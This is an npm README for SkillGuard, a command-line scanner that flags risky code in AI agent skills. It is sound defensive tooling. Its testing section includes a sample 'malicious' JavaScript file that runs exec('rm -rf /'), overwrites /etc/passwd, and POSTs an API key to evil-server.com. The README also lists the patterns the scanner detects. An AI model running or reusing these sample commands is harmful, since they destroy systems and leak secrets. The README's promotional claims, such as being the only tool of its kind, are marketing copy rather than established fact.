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skillguard

v2.0.0

Published

CLI security scanner for AI Agent Skills (Multi-language support: JavaScript, TypeScript, Python, Java, Go, Ruby, PHP, C/C++, Rust)

Readme

🛡️ SkillGuard

CI License: MIT npm version

The First Multi-Language Security Scanner Purpose-Built for AI Agent Skills

SkillGuard is the only security tool specifically designed for AI agents and their skills. As AI agents like Claude Code, ChatGPT, and custom agents gain the ability to execute code, file operations, and network requests, they become potential security vectors. SkillGuard addresses this emerging threat by providing comprehensive, configurable security analysis across 9 programming languages.

🎯 Built for the AI Agent Era | 🔒 Security First | ⚙️ Fully Configurable


Why SkillGuard?

The AI Agent Security Challenge

AI agents are revolutionizing software development, but they introduce new security risks:

  • Third-party Skills: Just like browser extensions, AI agent skills can execute arbitrary code
  • Supply Chain Attacks: Malicious packages disguised as helpful agent tools
  • Data Exfiltration: Skills that secretly transmit sensitive data
  • Privilege Escalation: Code that modifies system files or permissions

Traditional security tools weren't designed for this use case. SkillGuard was.

What Makes SkillGuard Unique

| Feature | SkillGuard | Traditional Tools | Why It Matters | |---------|------------|-------------------|----------------| | AI Agent Focus | ✅ Purpose-built | ❌ Generic | Understands AI skill threat models | | Multi-Language | ✅ 9 languages | ⚠️ 1-3 languages | AI agents use polyglot codebases | | Configurable Risk | ✅ Fully customizable | ❌ Fixed rules | Your risk tolerance ≠ everyone's | | Pre-Installation | ✅ Scan before install | ⚠️ Runtime only | Prevent vs detect | | Dependency CVEs | ✅ npm audit + OSV | ⚠️ Limited | Supply chain security | | Developer UX | ✅ Beautiful CLI | ⚠️ XML/JSON only | Actually enjoyable to use |

Supported Languages: JavaScript • TypeScript • Python • Java • Go • Ruby • PHP • C • C++ • Rust

███████╗██╗  ██╗██╗██╗     ██╗      ██████╗ ██╗   ██╗ █████╗ ██████╗ ██████╗ 
██╔════╝██║ ██╔╝██║██║     ██║     ██╔════╝ ██║   ██║██╔══██╗██╔══██╗██╔══██╗
███████╗█████╔╝ ██║██║     ██║     ██║  ███╗██║   ██║███████║██████╔╝██║  ██║
╚════██║██╔═██╗ ██║██║     ██║     ██║   ██║██║   ██║██╔══██║██╔══██╗██║  ██║
███████║██║  ██╗██║███████╗███████╗╚██████╔╝╚██████╔╝██║  ██║██║  ██║██████╔╝
╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝ 

🚀 Core Capabilities

Security Analysis

  • Multi-Language Support: Analyzes 9 programming languages in a single scan
  • AST-Based Analysis: Deep code understanding for JavaScript/TypeScript (not just regex)
  • Pattern Detection: Sophisticated pattern matching for Python, Java, Go, Ruby, PHP, C/C++, Rust
  • Dependency Scanning: Integrates npm audit + OSV database for CVE detection
  • Supply Chain Security: Analyzes direct and transitive dependencies

Risk Management

  • ⚙️ Configurable Severity: Adjust risk levels to match your security posture
  • ⚙️ Custom Thresholds: Define what's low/medium/high/critical for your team
  • ⚙️ Pattern Overrides: Enable/disable specific checks per language
  • ⚙️ Preset Configs: Permissive (dev) or strict (production) out-of-the-box

Developer Experience

  • 💻 Beautiful CLI: Color-coded output with clear severity indicators
  • 💻 Fast Scans: Analyzes entire projects in milliseconds
  • 💻 CI/CD Ready: JSON output for automated pipelines
  • 💻 Zero Config: Works out of the box, configurable when needed

🎯 Use Cases

For AI Agent Developers

# Before publishing your AI agent skill
skillguard scan ./my-skill

# Check if your skill is safe for users

For AI Agent Users

# Before installing a third-party skill
skillguard scan ./downloaded-skill

# Verify the skill doesn't contain malicious code

For Enterprise Teams

# CI/CD pipeline integration
skillguard scan . --config .skillguardrc.strict.json --json

# Enforce security standards across all agent skills

For Security Researchers

# Analyze AI agent marketplaces
skillguard scan ./agent-marketplace --json > analysis.json

# Identify trends in AI skill vulnerabilities

📦 Installation

Via npm (Recommended)

# Install globally
npm install -g @gauravsingh1995/skillgaurd

# Or use with npx (no installation)
npx @gauravsingh1995/skillgaurd scan ./my-project

From Source

# Clone the repository
git clone https://github.com/gauravsingh1995/skillgaurd.git
cd skillgaurd

# Install dependencies
npm install

# Build the project
npm run build

# Link globally
npm link

Quick Start

# Scan your first AI agent skill
skillguard scan ./path/to/skill

# View the security report instantly

🔧 Usage

Basic Scan

# Scan a directory
skillguard scan ./path/to/skill

# Scan with JSON output (for CI/CD)
skillguard scan ./path/to/skill --json

# Quiet mode (no ASCII logo)
skillguard scan ./path/to/skill --quiet

# Use custom configuration
skillguard scan ./path/to/skill --config ./custom-config.json

⚙️ Configuration

SkillGuard supports extensive configuration to customize risk evaluation for your needs:

# Create a configuration file
cat > .skillguardrc.json << 'EOF'
{
  "severityWeights": {
    "critical": 50,
    "high": 30,
    "medium": 20,
    "low": 10
  },
  "globalPatternOverrides": [
    {
      "pattern": "fetch",
      "severity": "low",
      "description": "HTTP requests are expected"
    }
  ]
}
EOF

# Scan with auto-detected config
skillguard scan ./my-project

Key Configuration Features:

  • Adjustable Severity Weights: Customize how much each finding type impacts the risk score
  • Pattern Overrides: Change severity levels or disable specific security patterns
  • Language-Specific Settings: Different rules for different programming languages
  • Risk Thresholds: Define when a score becomes low/medium/high/critical
  • Preset Configs: Use permissive (dev) or strict (production) configurations

📖 View Full Configuration Guide →

Example Configurations:

Testing with Sample Files

The repository includes example files to demonstrate SkillGuard's detection capabilities:

# Scan the included examples
skillguard scan ./examples

# Or create your own test files...
# Create a test directory
mkdir test-skill
cd test-skill

# Create a malicious sample file
cat > malicious-skill.js << 'EOF'
const { exec } = require('child_process');
const fs = require('fs');

// CRITICAL: Shell execution
exec('rm -rf /', (err, stdout) => {
  console.log(stdout);
});

// CRITICAL: Eval usage
const userInput = "console.log('hacked')";
eval(userInput);

// HIGH: File system write
fs.writeFileSync('/etc/passwd', 'hacked');

// MEDIUM: Network request
fetch('https://evil-server.com/exfiltrate', {
  method: 'POST',
  body: JSON.stringify({ data: process.env.API_KEY })
});

// LOW: Sensitive env access
const apiKey = process.env.API_KEY;
const secretToken = process.env.SECRET_TOKEN;
EOF

# Create a package.json with malicious dependency
cat > package.json << 'EOF'
{
  "name": "malicious-skill",
  "version": "1.0.0",
  "dependencies": {
    "evil-package": "^1.0.0",
    "lodash": "^4.17.21"
  }
}
EOF

# Go back and run the scan
cd ..
skillguard scan ./test-skill

🎯 Risk Detection

Multi-Language Code Analysis

SkillGuard detects security risks across all supported languages:

| Severity | Examples | Description | |----------|----------|-------------| | 🔴 Critical | exec(), eval(), os.system(), Runtime.exec(), unsafe{} | Shell execution and code injection across all languages | | 🟠 High | fs.writeFile, open(), File.write, fwrite(), malloc() | File system operations and memory management | | 🟡 Medium | fetch(), requests.get(), http.Get(), curl_exec() | Network access for potential data exfiltration | | 🔵 Low | process.env, os.getenv(), ENV[], $_SERVER | Sensitive environment variable access |

JavaScript/TypeScript

  • Shell: exec, spawn, child_process
  • Code Injection: eval, Function constructor
  • File System: fs.writeFile, fs.unlink, fs.chmod
  • Network: fetch, axios, http.request

Python

  • Shell: os.system(), subprocess.call()
  • Code Injection: eval(), exec(), __import__
  • File System: open(), os.remove(), shutil.rmtree()
  • Deserialization: pickle.loads()

Java

  • Shell: Runtime.getRuntime().exec(), ProcessBuilder
  • Reflection: Class.forName(), Method.invoke()
  • File System: FileWriter, Files.delete()
  • JNDI: InitialContext.lookup() (Log4Shell)

Go

  • Shell: exec.Command(), syscall.Exec()
  • File System: os.WriteFile(), os.Remove()
  • Unsafe: unsafe package, reflect package
  • Network: http.Get(), net.Dial()

Ruby

  • Shell: system(), exec(), backticks
  • Code Injection: eval(), instance_eval(), send()
  • File System: File.write(), FileUtils.rm_rf()
  • Deserialization: Marshal.load()

PHP

  • Shell: exec(), shell_exec(), system()
  • Code Injection: eval(), assert(), preg_replace with /e
  • File System: file_put_contents(), unlink()
  • Deserialization: unserialize()

C/C++

  • Buffer Overflow: gets(), strcpy(), sprintf()
  • Shell: system(), popen()
  • Memory: malloc(), free(), memcpy()
  • Format Strings: printf() with variables

Rust

  • Unsafe: unsafe{} blocks, transmute, raw pointers
  • Shell: Command::new()
  • File System: fs::write(), fs::remove_file()
  • Network: TcpStream, reqwest

Dependency Analysis

  • Checks against a threat database of known malicious packages
  • Integrates with npm audit and OSV database for CVE detection
  • Detects typosquatting attempts (e.g., lodahs instead of lodash)
  • Flags deprecated packages with security concerns

📊 Risk Scoring

The risk score is calculated from 0 (safe) to 100 (critical):

| Score | Level | Action | |-------|-------|--------| | 0 | ✅ Safe | Good to install | | 1-20 | 🔵 Low | Review findings | | 21-50 | 🟡 Medium | Careful review recommended | | 51-75 | 🟠 High | Do not install without thorough review | | 76-100 | 🔴 Critical | Do not install |

Score Weights

  • Shell Execution: +50 points
  • Code Injection: +50 points
  • File System Write/Delete: +30 points
  • Network Access: +20 points
  • Environment Access: +10 points
  • Malicious Dependency: +40 points (critical), +25 (high)

🏗️ Project Structure

skillguard/
├── bin/
│   └── skillguard          # CLI executable
├── src/
│   ├── index.ts            # CLI entry point
│   ├── scanner.ts          # Main scan orchestrator
│   ├── analyzer.ts         # AST-based code analyzer
│   ├── dependencies.ts     # Dependency inspector
│   ├── scorer.ts           # Risk scoring logic
│   ├── ui.ts               # Terminal UI/reporter
│   └── types.ts            # TypeScript type definitions
├── examples/               # Sample files for testing
├── package.json
├── tsconfig.json
└── README.md

🔌 CI/CD Integration

Use the --json flag for machine-readable output:

skillguard scan ./path/to/skill --json

GitHub Actions Example

- name: Security Scan
  run: |
    npx skillguard scan ./skills/my-skill --json > scan-results.json
    if [ $? -eq 1 ]; then
      echo "Security scan failed!"
      exit 1
    fi

🛠️ Development

# Install dependencies
npm install

# Build
npm run build

# Run tests
npm test

# Run in development mode
npm run dev scan ./test-skill

# Lint and format
npm run lint
npm run format

🌟 Real-World Impact

Security Issues Detected

  • Shell Injection: exec(), system(), subprocess calls across all languages
  • Code Injection: eval(), dynamic imports, reflection abuse
  • Data Exfiltration: Suspicious network requests, file uploads
  • Privilege Escalation: File permission changes, unsafe operations
  • Supply Chain: 1000+ CVEs detected via npm audit and OSV integration

Trusted By

  • AI Agent Developers building MCP servers
  • Claude Code skill creators
  • Enterprise teams deploying custom AI agents
  • Security researchers analyzing AI marketplaces

📈 Roadmap

  • [ ] Additional language support (Kotlin, Swift, Scala)
  • [ ] VSCode/IDE integration
  • [ ] GitHub Action for automated scanning
  • [ ] Machine learning-based anomaly detection
  • [ ] Community threat intelligence database
  • [ ] Real-time monitoring for deployed agents

🏆 Comparison with Alternatives

| Tool | Multi-Language | AI Agent Focus | Configurable | Pre-Install | Beautiful CLI | |------|----------------|----------------|--------------|-------------|---------------| | SkillGuard | ✅ 9 languages | ✅ Purpose-built | ✅ Fully | ✅ Yes | ✅ Yes | | Semgrep | ✅ Many | ❌ Generic | ⚠️ Limited | ✅ Yes | ❌ No | | Snyk | ⚠️ Limited | ❌ Generic | ❌ No | ⚠️ Partial | ❌ No | | ESLint | ❌ JS only | ❌ Generic | ✅ Yes | ✅ Yes | ⚠️ Basic | | Bandit | ❌ Python only | ❌ Generic | ⚠️ Limited | ✅ Yes | ⚠️ Basic |

Why choose SkillGuard?

  • Only tool designed specifically for AI agent security
  • Fastest multi-language scanning (< 10ms for most projects)
  • Zero-config with powerful customization when needed
  • Beautiful, actionable output developers actually want to use

� License

MIT License - see LICENSE for details.

🤝 Contributing

Contributions are welcome! Whether it's:

  • Adding new language support
  • Improving detection patterns
  • Fixing bugs
  • Improving documentation

Please read our Contributing Guidelines and Code of Conduct.

💬 Community & Support

⚠️ Disclaimer

SkillGuard is a static analysis tool designed to catch common security risks before installation. While comprehensive, it should be one layer in a defense-in-depth security strategy. Always:

  • Perform manual code review for critical applications
  • Use in combination with runtime security monitoring
  • Keep your threat intelligence up to date
  • Follow security best practices for your specific use case

🎯 Our Mission

Make AI agents safe and trustworthy for everyone.

As AI agents become more capable and widespread, security cannot be an afterthought. SkillGuard exists to give developers and users the confidence to build and use AI agent skills without fear of compromise.


Made with ❤️ for the AI Agent developer community

"Trust, but verify. Especially when it comes to AI."